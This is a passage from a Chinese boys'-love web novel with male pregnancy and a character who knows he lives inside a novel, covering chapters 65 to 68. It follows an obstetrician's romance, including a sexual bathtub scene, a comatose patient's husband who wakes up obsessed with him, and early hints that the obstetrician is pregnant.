因此,郁瑟对待每一位孕妇都极其认真和负责,希望能够通过自己的努力,让更多的家庭迎来健康可爱的小生命。 包括,他最后累死在手术台上。 郁瑟觉得自己并不是在赎罪,而是对于生命的敬畏在引领他。 跟沈宏商量好之后,对方便开始操办一切相关事宜。 沈宏的植物人丈夫叫做慕酌月,之所以会昏迷不醒,是因为在一次意外中,脑部受到了严重的创伤。 那次事故发生时,慕酌月坐车前往回家的路上,不料遭遇了一场突如其来的车祸,开车的司机当场死亡,而他尽管及时送往了医院,但由于伤势过重,医生们竭尽全力也无法让人苏醒过来。 沈宏将慕酌月转移去了一家专门接手试管婴儿的高级私人医院。 同去的,还有郁瑟。 这家医院以其先进的医疗设备和专业的医疗团队而闻名,尤其在试管婴儿领域有着极高的成功率。 郁瑟带着沈宏的身体检查结果,一同前往与对方医院接洽。 在医院的会议室里,他们详细讨论了沈宏的身体状况以及进行试管婴儿的具体方案。 郁瑟凭借自己目前的男性生产经验和专业知识,向对方医生详细阐述了沈宏的子宫状态,以及可能面临的风险和挑战。 结束后,沈宏带着郁瑟去看他躺在病床上的植物人丈夫。 郁瑟以为植物人丈夫应该会比较瘦削、苍白,甚至有些吓人。 但当他真正站在慕酌月的病床前时,却发现这位植物人先生虽然闭着眼睛,面容却依然俊朗,眉眼如同刀削般棱角分明,皮肤透着健康的粉红色,只是呼吸微弱,仿佛随时都会停止。 对方的身体也没有想象中的消瘦,反而给人一种沉稳安睡的感觉。 沈宏说,“慕家一直使用高级的治疗仪器和先进的技术来维持他的生命。” “这些仪器不仅昂贵,而且效果卓越,确保了我丈夫身体机能得到了最大程度的保持。尽管处于植物人状态,但他的身体并没有因为长时间的卧床而出现肌肉萎缩或其他并发症。” 郁瑟早见多了各种情况的植物人,毕竟会住进神经外科的病患,大多都经历了生命的极端挑战。 郁瑟道,“慕先生真是一个幸运儿,起码不像其他病患一样,遭受那么多的痛苦和折磨。他的身体状态保持得如此良好,真是令人感到欣慰。” 这不仅仅是因为慕家的经济条件,允许他们使用最好的医疗资源。 郁瑟想,更是因为狗血小说世界,是一个处处充满医学奇迹的地方。 问就是量子物理。 郁瑟从走进病房,从始至终只说了一句话。 而这一句话音落定后。 慕酌月身上链接的各种仪器突然开始报警,红灯闪烁,刺耳的声响瞬间填满了整个病房。 沈宏的脸色骤变,慌忙按响床头的紧急呼叫按钮,焦急地呼唤着医护人员。 郁瑟也愣住了。 因为他跟这些仪器打过交道,这些声音并非预示着病人的情况正在恶化,反而像是某种信号。 郁瑟迅速走到仪器旁,开始检查各项数据,试图找出这突如其来的警报背后的原因。 但他发现 慕酌月的各项数据似乎都在做出暗示 郁瑟去翻看了慕酌月的眼睛,对方瞳孔深处,似乎隐藏着某种异样的光芒,那是一种不同于植物人应有的、仿佛蕴含着某种意识的光芒。 郁瑟的心猛地一紧,这种迹象他从未见过,难道说…… 他不敢往下想,立刻拿起旁边的手电筒,再次仔细照射慕酌月的瞳孔,同时观察他的反应。 慕酌月的眼皮微微颤动,虽然幅度极小,但在郁瑟这样的专业人士眼中,却是无比震撼的发现。 朝一脸紧张的沈宏道。 “你丈夫他好像开始恢复意识了” 第65章 第 65 章 生个孩子来拴住我?…… 沈宏闻言, 整个人仿佛被雷击中了一般,愣在原地,半晌没能反应过来。 不敢置信地问道:“真真的吗?酌月他他要醒过来了?” 郁瑟点了点头, 虽然心中也有诸多疑惑, 但此刻也只能先告诉沈宏这个好消息。 他安慰道:“是的,具体情况需要医生的进一步观察,但目前的迹象表明, 慕先生确实有可能在逐渐恢复意识。” 沈宏的表情可谓精彩极了, 大概有一点喜悦,不过更多的是交织的复杂情绪。他的双手不自觉地攥成了拳, 眼神中闪烁着复杂的光芒。 更多的, 是对自己没有更早一步下手的遗恨。 郁瑟立刻便明白了他的真实想法。 恰好此刻,私人医院的几名医生闻声冲过来了, 还有慕酌月的私人保镖。 郁瑟觉得某人应该不会做什么愚蠢的事情, 而且沈宏给他的感觉不错,所以郁瑟用手拍了一下沈宏的肩膀,示意安抚道, “沈先生, 展开一段未知且健康的关系,远比生孩子更加有趣。” 沈宏没有吱声。 郁瑟倒是尽快地离开了。 郁瑟以为这件事可以画上一个圆满的句号,谁知有媒体将慕酌月苏醒的事情报道了出来。 郁瑟忍不住好奇,这个慕酌月究竟是什么人物, 居然能惊动媒体? 不查不知道。 这个慕酌月可谓是大有来头的, 用一句夸张的话来形容就是——龙城的道路和地铁网络均由枫家与杜家共同掌控, 两家势力平分秋色,可是华国沿海的重工业和尖端科技,几乎有七成掌握在慕家手中。 慕家的影响力不仅局限于龙城, 甚至在整个华国都是举足轻重的存在。 慕酌月身为慕家的嫡系子孙,自幼便备受瞩目,其每一次的动向都足以牵动整个龙城的神经。 他的苏醒,自然成为了各大媒体争相报道的头条新闻。 郁瑟看着查询来的信息,上面大幅刊登着慕酌月曾经风光无限的消息,以及他过往的辉煌事迹,不禁感叹,原来这个男人,背后竟有着如此深厚的背景。 据说,自从慕酌月车祸变成植物人之后,许多大中型企业趁机迅速发展,这些企业原本在慕家的阴影下艰难求生,如今抓住了这个机会,犹如鱼儿得水,纷纷崭露头角。 慕家的产业链虽然庞大,但也不是无懈可击,这些大中型企业的崛起,无疑是对慕家的一次挑战,慕酌月的苏醒,对这些企业来说,完全属于灭顶般的威胁。 而且。 慕酌月醒来的第一件事情,就是跟沈宏离婚,虽然媒体报道直接忽略掉了沈宏的名字。 郁瑟还是知道是他,不禁咂咂舌头,心说豪门的生活确实狗血,而且这个慕酌月真是不留情面,冷血无情,若不然沈宏应该也不会想着先留下个孩子。 大概也是避免这种情况的发生吧。 不过郁瑟又想,并非是沈宏需要这个慕酌月,而是整个沈家需要一个强大靠山的庇佑罢了。 或许离婚,算是另一种解脱,也犹未可知。 郁瑟唏嘘不到一秒钟时间,枫音尘从后脑勺冒出一句话道,“这电影不好看吗?” 此时此刻,郁瑟正蜷缩在枫音尘的怀里,两人甜甜蜜蜜地坐在沙发里,一起看一部即将上映的电影。 这部电影尚在宣发阶段,还未正式上映,但看预告片已经让人热血沸腾。 枫音尘直接给搞来了原片,在自己家的私人影厅播放,郁瑟算是比其他观众提前半个月大饱眼福。 每次到这种时刻,连平生不为金钱所打动的郁医生,都得从心底暗自啧啧一声。 有钱能使磨推鬼啊。 枫音尘和郁瑟同穿着一款薄式白毛衣,像融成一体的两颗雪球,枫音尘从背后抱住郁瑟,不停地摩挲着爱人的指尖。 两人的初见在盛夏,现在转眼入了秋,即使枫家的中央空调常年开着,郁瑟还是觉得与人的体温不能相互比拟。 郁瑟喃喃道,“没有,电影很好看,就是最近不知怎么了,总是有点容易犯困,可能是春困秋乏吧。” 又问,“你已经抱着我一个多小时,是不是我把你的胳膊压麻了?” 枫公主的胳膊可珍贵着呢,从小上学连书包都没提过,全部让别人提。 他说,“不会,我每天做那么多臂力训练,就是为了有朝一日能单手把你给抱起来的。” 郁瑟哈哈地笑了起来,“除非你有强森的体魄,好歹我也有180公分,假如被你单臂抱起来的话,起码要像纸片人一样薄。” 是吗? 枫音尘的嘴唇含着坏笑,贴近郁瑟的耳廓,热烫地吹了一句。 “可是昨晚,我还不是把你轻轻松松地给端了起来?” 郁瑟将下巴埋入松软的毛衣领内,脸颊上泛起一抹红晕,用后脑勺轻轻顶了顶枫音尘的胸膛,假装嗔怒道:“下次不准再让我那么难堪,不然就罚你一个月不准靠近我。” 枫音尘低低地笑了起来,胸腔震动着,带着一种让人轻松的节奏。温柔地将郁瑟搂得更紧,下巴抵在他的头顶,轻声说:“好了,不逗你了。不过说真的,你真的很轻,抱起来毫不费力。” 可能是看电影时喝了些水,枫音尘放开怀里的人,大步走进厕所里去放水。 放着放着。 从门口露出郁瑟的半截身子。 郁医生依靠住门框,正一眨不眨眼地凝视着枫音尘的东西。 枫音尘还是第一次被他如此端详,倒也不生气,不羞恼,反而大方极了,比印象中傲娇的枫公主还要奔放。 “怎么,看不够吗?” 别的不说,枫音尘的傲人资本可是有两个的。 郁瑟本着“路漫漫其修远兮,我将上下而求索”的研究精神,从医学的角度认真阐述个人观点。 “我一直挺好奇的,你撒尿的时候,究竟会不会分叉。” 枫音尘则抖了抖,快速用湿巾擦拭干净,但没有装起来,而是清洁了双手,走到郁瑟面前道。 “你这是在做什么学术探讨?”枫音尘一脸的得意,碧玉琉璃色的眸子水波荡漾。 “难道说,我都没好好给你展示一下,这两个能不能同时喷?给你展示一下?” 郁瑟瞬间收敛回玩笑的表情,转身要逃,直接被枫音尘给扯了回去,摁在浴缸里。 “郁医生,你可是学坏了啊,只管放火,不管灭火,这可不厚道吧?” 郁瑟挣扎着想要起来,但枫音尘的力气大得惊人,他根本动弹不得。 两人的身体紧紧贴着,郁瑟能清晰地感受到枫音尘身上传来的温度,以及那不容忽视的力量感。 “别闹了,枫音尘,你先让我起来。”郁瑟的声音里带着几分无奈和妥协。 而且,昨天晚上已经超标了。 枫音尘却像是没听到一般,嘴角勾起一抹玩味的笑,“郁医生,搞研究要有献身精神,怎么一阵说要一阵说不要的?” 郁瑟试图用幽默化解这有些暧昧的氛围,枫音尘却不动如山,眼神里闪烁着某种难以言喻的光芒,“郁医生,你确定要拒绝一个可能给你带来全新研究灵感的机会吗?” 郁瑟一怔,就被枫音尘吻住嘴巴。 虽然两人接吻的次数越来越多,时间越来越绵长,包括彼此吸吮的姿势也越来越熟练。 枫音尘的热情却如同烈火一般,一次搞过一次,燃烧着郁瑟的理智边缘,让他难以抗拒。 每一次的接吻,都像是两人之间的一场无声较量,郁瑟试图用理智来抵御枫音尘的热情,最终只会被对方找到弱点,快送攻破。 郁瑟趴在浴缸的外面,双臂软软的无力,像一条天生不会游泳的鱼,在翻江弄浪中不停地沉浮、呼吸、沉浮、呼吸,直到快失去所有意识。 枫音尘抚摸着他的腹部,郁瑟的肚子已经装满了水,黏糊糊到圆滚滚的。 枫音尘手里拿着冲洗器,道,“乖一点,我数一二三,瑟瑟你就配合我,不然东西留在肚子里,晚上会发烧的。” 郁瑟淡淡得摇头,眼眶憋得红通通的,嘴角也咬红得像一片艳丽的花瓣。 都怪某人白长了一张漂亮的小脸蛋,害得自己每次都心软的一塌糊涂。 结果就是变成了奇怪的大肚子。 郁瑟说,“你把我放在马桶上,然后你出去” 枫音尘除了会装委屈骗郁瑟就范之外,余下的时候都堪称心机颇深的惯犯。 他搂住郁瑟道,“这可不行,我得对我的瑟瑟宝贝负责。” “来,哥哥听话。” 郁瑟只要一听见他喊哥哥,整个人都不由自主地变成一滩水、一块面,随便搓圆捏扁。 所以郁瑟只好照做了。 枫音尘又帮助他冲洗了几次,直到全部是清水的程度。 郁瑟才彻底瘫倒在枫音尘的怀里,两人重新坐在充满热水的浴缸内。 枫音尘悉心地帮助郁瑟搓洗身体,再用香喷喷的沐浴乳将郁医生洗得香喷喷的。 枫音尘说,“瑟瑟宝贝,其实我一点也不想帮你洗干净的。” “让你大个肚子睡到天亮,搞不好,我们很快就能有自己的宝贝了。” 枫音尘痴迷地抚摸着郁瑟的肚子,刚才还圆润的地方,现在反倒平坦极了。 像他的心情一样,波荡起伏极了。 所以很不情不愿地惋惜了一嘴,“你把我的孩子全部冲走了。” 郁瑟都懒得说了。 我生不了,我生不了!! 不过。 郁瑟低声嘟哝一句,“为什么你偏要让我给你生宝宝,难道这也是什么奇怪的执念?” 蓦得。 郁瑟忽然想起了沈宏。 沈宏为了能继续留在豪门,过那种养尊处优、挥金如土的生活,也或者是为了自己的余生多一分稳定的保证。 甚至要生下植物人的孩子。 而枫音尘又是因为什么呢?我只是一个平平无奇的小破医生而已,除了一身技术之外一无所有 是为了更好地拴住我吗? 第66章 第 66 章 小熊宝宝和大胸 郁瑟在枫音尘怀里沉沉睡去。 枫音尘的生物钟很准时, 属于每天雷打不动的,五点钟起床锻炼身体。 一个小时的健身后,他轻轻地返回卧室, 细心地为郁瑟盖好被子。然后, 枫音尘去了这辈子都不可能去的人生禁区,开始准备早餐。 枫音尘知道,郁瑟喜欢吃热腾腾的小米粥和新鲜的蔬菜沙拉, 不过他都不会做。 只能临时打开手机, 选取了最简单的一道早餐——小米稀饭。 上次是在郁瑟家把牛奶煮糊了,这次他决定谨慎一些, 严格按照手机上的教程操作。 枫音尘小心翼翼地控制着火候, 眼睛紧盯着锅中的锅里翻滚的小米,生怕一不小心又重现了上次的灾难。 与此同时, 他还准备了新鲜的水果切片, 打算搭配小米稀饭一起,给郁瑟一个惊喜。 大约过了十几分钟,白梵匆匆赶来烹饪早餐, 枫澄和枫羽都是在家里吃早餐的, 他不用特别留心枫音尘的口味。 所以,当他看见枫音尘的瞬间,直接愣住了。 与其说楞,倒不如说是惊吓。 当他看清枫音尘锅里煮的小米已经严重超标后, 更是慌不择言, 小跑过去阻止这场灾难。 “家主, 您想吃什么,还是我来替你做吧?!” 白梵长期住在两位少爷这边,即使对枫家的家主不怎么熟悉, 也总听家里其他佣人对他的评价。 总之一个字——忍。 枫音尘道,“你去忙其他的吧,郁医生的早餐我要自己负责。” 白梵自然不敢忤逆家主的意志,转移去了附近的中岛台。 其实白梵表面上是服从了家主的要求,实际上一双眼睛完全不敢离开家主的双手,他倒不是害怕枫音尘那双金贵的手,会出什么意外。 他是担心郁医生千万不要吃坏了肚子。 枫音尘在厨房站了一个小时,把煮粥的锅盖掀开关住了几百次,最后喃喃自语道,“应该熟了吧。” 说完,他小心翼翼地舀了一小勺粥,放在嘴边轻轻吹凉,然后尝了一口。 眉头瞬间皱了起来,似乎对自己的手艺并不满意。 但他很快又振作起来,自言自语道:“郁医生应该不会介意吧,毕竟这是我亲手做的。” 接着,他小心翼翼地将锅里的小米粥装进碗里,准备给大概已经起床的郁医生送去。 白梵眼睁睁看着他将一碗半生半熟的稀饭和一堆乱七八糟的水果切片要端走,急得要命。 恰逢此时。 传来一声小孩子的叫喊声,小孩子的声音奶呼呼的,只能发出最简单的音节,“papa——” 枫音尘正奇怪,家里怎么会有小孩子的声音。 却见到许久不见的枫澄,正抱着一个陌生的小奶团子,往过来走。 枫音尘:“!!!” 枫澄穿着条纹式睡衣,精壮的倒三角身材将睡衣绷得极其贴身,尤其大少爷平常的锻炼比枫音尘的少量,然而胸部长得很壮胸型很美,腹肌线条若隐若现,透出一股不羁的魅力。 此刻脸上居然带着温柔的笑意,眼睛里闪烁着父爱的光芒,单臂抱稳怀里的小奶团子。 小奶团子白白嫩嫩,像是刚蒸出来的糯米团子,眼睛大大的,水汪汪的,看起来特别惹人怜爱,尤其还穿着一套连体的小棕熊睡衣。 让人立刻联想到小熊奶包,和他的大胸奶爸。 惊人! 非常的惊人,完全惊人到了恐惧的地步!! 枫音尘愣住了,完全没想到家里最有担当的大侄子居然会抱着孩子出现在面前。 以至于枫音尘惊讶地张大了嘴巴,半天说不出话来,只是呆呆地看着枫澄和小奶团子一步一步朝自己走来。 枫音尘内心极近崩溃!! 虽然小说的剧情里是这样安排的,枫澄会给喜欢的男人生孩子。 但是从某个角度来讲,枫音尘真的不是很希望看见这幅画面!! 整个恒基集团的掌控人,堂堂正正的枫澄枫大总裁,最终会臣服于哪个男人的身躯之下,给其他家族的男人生孩子?!! 枫音尘暗自捏了捏发疼的太阳穴。 这就是他死活不想让枫澄进入剧情线的原因——枫家四个男人,不能只有他自己做攻,余下的三个侄子全部去做受吧? 枫音尘甚至想到了将来自己死了,怎么好意思去见大哥大嫂?怎么好意思交待,他们的儿子全部去给人生儿子去了。 枫音尘更是夸张的在内心里盘算了好几次日子。 ——不对啊,不对啊,这才几天时间,枫澄不可能已经生了吧?! 白梵趁枫家主凌乱的这几秒钟内,快速将自己提前准备好的小米稀饭盛进一模一样的白瓷盅内,又转手将托盘间的残次品给换了下来。 之后。 主动走到枫澄面前,万分抱歉道,“不好意思,大少爷,安安是不是又哭哭啼啼地吵到你了?” 枫澄笑着将小白团子递给他,“没事,”他说,“安安不是哭得声音太大了,他是自己爬过来找我的。” 转眼间,白遇安也已经快一岁了,这个时候的孩子一点也不老实,总是到处爬来爬去,对周围的一切都充满了好奇。 白梵已经想办法加高床边的围栏了,可是这个小家伙明显变得活泼好动,早晨只要一睁开双眼,不再是规规矩矩地等待着白梵回来,而是四处乱滚、四处攀爬。 枫澄算是其中之一的受害者。 这个小家伙似乎挺喜欢枫澄的,所以跟着白梵去过几次大少爷的卧室之后,每次从床围栏“越狱”之后,总会第一个往喜欢的地方爬。 枫澄之前对白梵这个人也没什么印象,只知道是家里做饭的帮佣,手艺不错,做得饭菜很合胃口。 后来多少是有点变化的,至于变化的契机也有挺多。 直到他看见白梵一个人辛辛苦苦地养孩子之后,这样的变化可能会更多一点。 毕竟枫澄的父母英年早逝,他们兄弟三个一直活在小叔叔的压迫咳咳咳,关怀之下,从某种程度来讲,会反其道而行之。 算是一种迟来的叛逆心理。枫澄说,“孩子已经不能再单独放在床上了,避免从围栏中掉出来摔坏了。” 白梵点了点头。 他伸出双手接过白遇安,哪知这小子现在小手的劲儿也变大了许多,一只小拳头紧紧抓住枫澄的胸口,直接将睡衣前的纽扣扯开几颗,露出枫澄健壮的胸脯。 白梵瞬间红了脸,连声抱歉哄道,“安安,你在做什么?快松开手,不然爸爸要打你的小手了!” 枫澄却毫不在意地笑了笑,低头看着小家伙那双圆溜溜的大眼睛,正好奇地盯着自己的胸口看,仿佛发现了什么新奇的事物。 他轻轻拍了拍小家伙的背,温柔地说,“没事,小家伙可能是喜欢我,想和我亲近亲近呢。” 白梵听了,更是不好意思。 小家伙是他亲自父乳喂养大的,自然知道儿子为什么紧抓着大少爷的胸口不肯放手。 心里羞愧得要命,脸上完全被火烫熟了似的。 白遇安这小家伙也是没心没肺的,都不知道给他爸爸惹了多大的麻烦,只感受到了气氛的微妙变化,突然“咯咯”地笑了起来,两只小手又开始胡乱挥舞起来。 枫音尘见状,高高提紧的心脏终于缓缓落地。 吓死了,还以为是枫澄趁其不备,在外面生了孩子呢。 寻思郁瑟上班要迟了,端起精心烹饪的早点,与枫澄擦肩而过。 枫澄与他礼节性地问候一声早安,却觉得小叔叔看他的眼神深不可测,内里蕴含着不敢深究的复杂。 难道说,他又哪里做得不够好了? 枫澄心底猛地坠了一下,人也收敛回微笑,变得冷酷了许多。 枫音尘端着早点返回自己的房子,恰好郁瑟已经收拾完毕,打算去上班了。 枫音尘立刻将人拦住,装得委屈极了,不停示意自己起得多么多么早,煮粥煮得多么多么辛苦。 连十根纤纤玉指都被轮番烫了一圈。 郁瑟拿起他的漂亮手指,一瞧,枫公主的手指尖尖果然红突突的,立刻心软道,“本来我肚子里还挺满的,一闻这个香味,立刻饿极了。” 枫音尘坐下来陪他一起吃粥。 郁瑟吃得很香,包括枫音尘也觉得自己在做饭这方面,天赋异禀。 郁瑟拿起枫音尘的指尖认真地检查了一下,跟他交代说,“今天早晨我有两台手术,之前几天的手术全部叫其他医生代替了,这次真的不行,身为院长,我不能带头违背规章制度。” 又说,“辛苦你自己先抹点药,晚上去我那边,我给你好好看一下。” 枫音尘一瞧,晚上还能去见瑟瑟,立刻笑颜如花道,“我就喜欢你心疼我。” 郁瑟不由笑了一声。 枫音尘将水果盘推到郁瑟的面前,言道,“再吃一点,瑟瑟,我特意为你切的,我切的水果保证很甜。” 郁瑟看着面前摆放得乱七八糟的水果,每块都奇形怪状,郁瑟真怕枫公主在切这些水果的时候,不要一个不小心将手指给切下来。 而且。 有谁会把粥和水果一起当作早点来吃呢? 郁瑟只是想了想枫音尘的可爱之处,不知为何,胃中猛地泛起一股酸液,忙放下手中的勺子,捂住嘴巴,一副难受至极的模样。 枫音尘见状,神色大变,连忙起身绕到郁瑟身后,轻拍他的背,焦急地问道:“瑟瑟,你怎么了?是哪里不舒服吗?” 郁瑟微微摇头,脸色有些苍白,缓了一会儿才说道:“没事,可能是早上吃得太急了,有点反胃。” 第67章 第 67 章 我喜欢妖艳贵货 真是这样吗? 枫音尘听后, 眉头紧锁,满脸担忧。他立刻将郁瑟扶到沙发上躺下,转身倒了一杯温水递给他。 试想, 这辈子有谁能享受到这种待遇?恐怕世界上只有郁医生可以。 郁瑟接过水, 喝了一口,神色稍微缓和了一些。 枫音尘坐在他身边,伸手摸了摸对方的额头, 确认没有发烧后才稍微放心, 轻声说:“瑟瑟,要不你今天别去上班了, 休息一下, 你是院长,工作都丢给别人去做。” 枫音尘不知怎么, 尤其担心郁瑟的身体状况, 当初资助郁瑟将产科医院继续办下去,也是为了让他开心的。 “你如果感觉自己累了,咱们最近都把手头的工作停一停, 我带你出国去休闲一下, 养养精神。”枫音尘已经连要去哪里散心都想好了。 被郁瑟一口回绝说,“其实现在的工作强度并不高,而且作为院长,才更应该起到表率作用。” 郁瑟还想分享一些工作经验, 但一想枫音尘能支配恒基这样的大型企业, 管理经验与他这种私人医院肯定是不一样的。 何况枫公主一定属于那种习惯做甩手掌柜, 但实际上暗中将一切都安排妥当的人。 郁瑟想着,不禁笑了笑,自己竟然会跟枫音尘讨论起工作管理来, 简直是班门弄斧了。 “放心吧,喝了你亲手倒的水,我整个人都已经好多了。” 这马屁拍得枫音尘十分舒坦,没办法,谁叫他是高贵美丽典雅大气的枫公主呢? 枫音尘立刻蹭着他的脸颊道,“我不喜欢你太投入工作里,若是真的累了,一定要跟我讲哦。” 郁瑟一到医院,彻底将他的话抛在脑后,手术还连续做了三台,午间也没有休息,一直忙碌到身体实在受不了,饥肠辘辘得连吃一大碗拉面。 连王齐都说他看起来完全不像医院院长,直接是被套上笼头的电驴,比生产队的牛马更加能干。 王齐还笑说他像是怕养老金不够的似的,一门心思攒养老钱。 郁瑟听了这话,不禁哑然失笑:“我这哪里是怕养老金不够啊,只是习惯了忙碌,停下来反而觉得不自在。” 王齐眨巴眨巴眼睛,似乎对郁瑟的回答并不感到意外,拍了拍师傅的肩膀,佯装老成道:“师傅啊,做人最怕什么?就是把劳碌命这三个字刻在脑门上啊!” 王齐还凑过来瞄着他的脸仔细打量起来,摩挲下颌琢磨着,“师傅,你发没发现,你最近的皮肤变光滑了,是被什么好好滋养了吗?” 郁瑟佯装打他,举起的拳头顶多捶了一下爱徒的后背,“整天胡说什么啊?!我每天跟你在医院吃得难道不一样?” “不要娘里娘气的,讲什么皮肤细腻的话题,瞧见了吗?师傅的鸡皮疙瘩起了一身。” 郁瑟每天洗完脸,顶多抹点二三十块钱的乳液。 枫音尘就不一样了,他的脸上起码涂抹三层成分不明的液体。 也难怪人家是美人,是公主。 结束一整天的工作,郁瑟原本打算跟王齐和其他十几名医生在外会餐。 结果医院中走来两名身穿西装的年轻男士,将他顺利阻拦下来。 对方表明有人想与慈康医院的负责人见一面,而且态度很好,不像是故意找茬的样子。 所以郁瑟没有多心,只是叮嘱王齐好好代表自己,将人都领去预订好的饭馆,所有费用走他的私账,毕竟这次聚会是为了犒劳大家近期的辛苦。 他则跟着那两名西装革履的男士走出医院大门,上了一辆黑色的轿车。 车窗外城市的霓虹灯闪烁,郁瑟的心情却有些不知所以。 他并不知道即将要见的是什么人,但直觉告诉他,这次会面或许并不简单。 搞不好,又是哪户豪门家里需要产科医生了? 反正郁瑟已经分析过了,这本书里能生的男人那么多,这本书的创作者一定是特别希望拥有一个男性生子的世界。 或者,是这个创作者的恶趣味。 或者,是这个创作者在现实中无法实现的愿望,只能寄托在虚拟的世界里。 再或者,这个创作者希望自己喜欢的男性具备生产能力,才会在作品中反复描绘男性生子的场景。 郁瑟胡思乱想着,黑色轿车已经缓缓停在了一栋豪华的别墅前。 两名西装男士下车,为他打开后车门,示意他进去。 郁瑟深吸一口气,整理了一下自己的衣服,然后迈步走进了别墅的大门。 别墅客厅内已经坐着一个人,面对着他。 这人正是已经苏醒过来的慕酌月,只是因为做了两年的植物人,苏醒后身体机能恢复得较慢,所以一直坐在轮椅上。 郁瑟忽然觉得这本书写得也不算差劲,起码还是尊重了一下科学的。 不像有些电视剧,植物人一睁开眼睛就能跑能跳的。 不过,郁瑟现在更加应该担心的事,是慕酌月根本不认识自己,却为什么要叫自己来? 难道 慕酌月轻手一挥,示意其他两人先退下去,而后,安静地上下打量起郁瑟来。 慕酌月长得人高马大,英俊非凡,比起很多帅气多金的男性来讲,多了一份沉稳与内敛,优越的五官如同山峦间浑然天成的雕刻,每一根线条都雕琢得恰到好处,既不过分硬朗,也不失男性的刚毅。 与枫音尘那种我美丽我迷人我天下无敌没人能入老子法眼的外放形,处于两种截然不同的风格。 枫音尘的美,如同夏日里热烈绽放的玫瑰,张扬而耀眼;而慕酌月的美,则更像是冬日里静静绽放的寒梅,内敛且深沉,需要细细品味才能发现其中的韵味。 郁瑟心中不禁暗感慨。 啊,原来我喜欢妖艳贵货。 慕酌月的眼神透漏出来许多复杂的东西,完全令人摸不着头脑。 他说:“我觉得开门见山式的开场白比较好。” “我已经知道沈宏找你是为了什么,郁医生。” “虽然我现在离了婚,不过我对沈宏那个人毫无感情,也没有任何的信任基础,所以,我也很想从你这里听到一些真话。” 慕酌月的轮椅属于最新版的高科技智能款,宽厚的轮胎碾压过地板时可以做到完全的悄无声息。 郁瑟感觉一座无形的山峦正在向自己的方向驶进,禁不住退后了半步。 慕酌月见状,立刻停止了靠近。 说实在的,郁瑟也不知道自己是不是看错了,或者忙碌到了眼睛发昏发花。 他怎么感觉慕酌月的表情明显透出一种失落感。 郁瑟道,“答应帮助沈先生,是因为获得了慕家的允许,尤其是慕先生您的双亲默许。” “沈先生与你之前的爱人属于法定伴侣,虽然从道德层面确实有待商榷,不过我个人认为属于情理之中。” “可我跟沈宏没有任何感情。”慕酌月像是专门要给郁瑟证明什么,语气倏然强硬起来。 “我跟沈宏的婚姻完全不应该作数,当时我在昏迷之中,根本没有自我意识。” 所以,你一醒来就离婚,也无可厚非。 郁瑟道,“只能说,慕先生的苏醒,以及你们的离婚,完全阻止了这件事朝向悲剧发展。” “我可以用人格保证,沈先生的方案完全还没有实施,他想要的试管根本没有成功的可能。” 郁瑟觉得,沈宏应该也没有提前拿到慕酌月的精.子,否则沈宏不可能这么轻易就放手。毕竟,为了这个计划,可是沈宏花了不少心思,甚至不惜一切代价。 “而且,沈先生也应该明白,在您苏醒之后,强制进行试管是不道德的,也是非法的。” 慕酌月轻轻点头,似乎相信了郁瑟的说辞。 他道,“行,我相信郁医生不会拿自己的事业和医院来开这个玩笑。” 郁瑟心底微微松了口气,感觉这件事倒是解决得挺轻松的,慕酌月对他也算不上为难,冥冥中还有点信赖之感。 所以郁瑟离开的也很顺利,对方知道了自己想要的答案之后,也没有做更多的挽留。 直到他的人影彻底消失。 慕酌月平静内敛的情绪,突然像是土崩瓦解般,一拳砸在轮椅的扶手之上。 宣泄着愤懑的情感道,“枫音尘!你这个鸠占鹊巢的混蛋!” “瑟瑟原本是属于我的,是我的!” 都怪他一睁眼成了植物人,才被一混蛋抢走了老婆! 最让慕酌月睁开眼后无法接受的是,自己居然被结婚了。 真是可笑至极。 所以他直接无视沈宏的哭泣,直接给钱打发了。 以后,他要做的事情只有一件,就是把郁医生再给抢回来。 郁瑟是他死了还想活过来的白月光啊! 第68章 第 68 章 一见钟情 郁瑟最近的精神状态属于比较容易疲劳的, 有时候枫音尘搂着他亲昵。 亲着亲着人就开始打瞌睡,时常还会眼皮耷拉下来直接睡着。 枫音尘对此既郁闷又觉得好笑,本来想在温存中占尽便宜的, 结果更多的是心疼。 他只能尽量调整自己的作息, 陪着郁瑟早睡早起,希望对方能恢复往日的活力。 枫音尘之前承担起给郁瑟做早点的任务,也顺利交给了白梵来处理。 白梵在营养调配方面很有心得, 而且曾经是经过认真学习的, 颇有经验。 直到某天。 郁瑟在医院里看诊,之前来医院接他的两名西装男性, 又再次出现在眼前。 慕酌月。 郁瑟将双手随和地搭在桌面, 右手指尖夹着一支钢笔,脸上的表情同样温和, 却暗藏严肃。 “我觉得上次跟慕先生已经谈论的非常明白清楚, 应该不至于三翻四次再来医院找我吧?” 其实郁瑟还想说,假如不肯相信我的话,那就直接起诉我, 如果走法律程序的话, 我愿意奉陪到底。 想的时候义愤填膺,想完之后也就是脑子里爽了,嘴上却不敢冒险。 他不想给医院招惹麻烦,也不打算拿自己的名誉开玩笑。 那两个西装男士并不粗鲁, 即使听了郁瑟的 话, 也只是礼貌性地微笑, 并未有过多的言语反驳。他们似乎习惯了如何应对各种场合,也或许是对慕酌月的命令有着绝对的服从。 郁瑟的目光透过他们,望向医院走廊的尽头, 那里人来人往,却似乎与他此刻的处境格格不入。 叹了口气,将手中的钢笔轻轻放下,准备再次与这两名西装男士周旋。 “慕先生应该明白,我的工作如此,我与慕先生之间,似乎也没有什么需要再次详谈的必要。”郁瑟的话语中带着一丝不易察觉的坚定,他试图用自己处事冷静的素养来征服对方。 然而,西装男士们只是交换了一个眼神,其中一人轻轻点头,似乎在确认着什么。随后,他们中的一人开口:“郁医生,我们并非来为难您,只是慕先生希望与您再次沟通,关于上次的事情,他有一些新的想法和提议。” 郁瑟皱了皱眉,他并不喜欢这种被人牵着鼻子走的感觉。 但考虑到慕酌月在当地的势力,以及自己作为医生的职业操守,他最终还是决定给对方一个机会。 “好吧,既然慕先生这么想见我,那就请他在方便的时候,亲自来一趟医院吧。我会在办公室等他,而不是主动去见他。” 郁瑟说完,便不再看两人,而是转而整理起桌上的病历资料,准备开始下一位病人的问诊。 西装男士们见状,微微欠身行礼,随后便退出了郁瑟的办公室。 而郁瑟,则在心中默念——退退退!烦人的事情退退退! 其实郁瑟是一个很有耐心的人,不知最近究竟是怎么了,不但从生理上发生了变化,连脾气也见长。 郁瑟路过B超市的门口,王齐正在里面替排队的孕妇们做详细的胎检。 孕妈妈们的腹部高高隆起,脸上洋溢着即将成为母亲的喜悦与期待。 郁瑟不知道被哪一个画面所感染,差一点要走进去,要替自己也做一□□检。 太奇怪了。 郁瑟及时收住迈开的腿脚,甚至像被踩到尾巴似的,慌张得退后几步。 他是魔障了吗?怎么奇奇怪怪的。 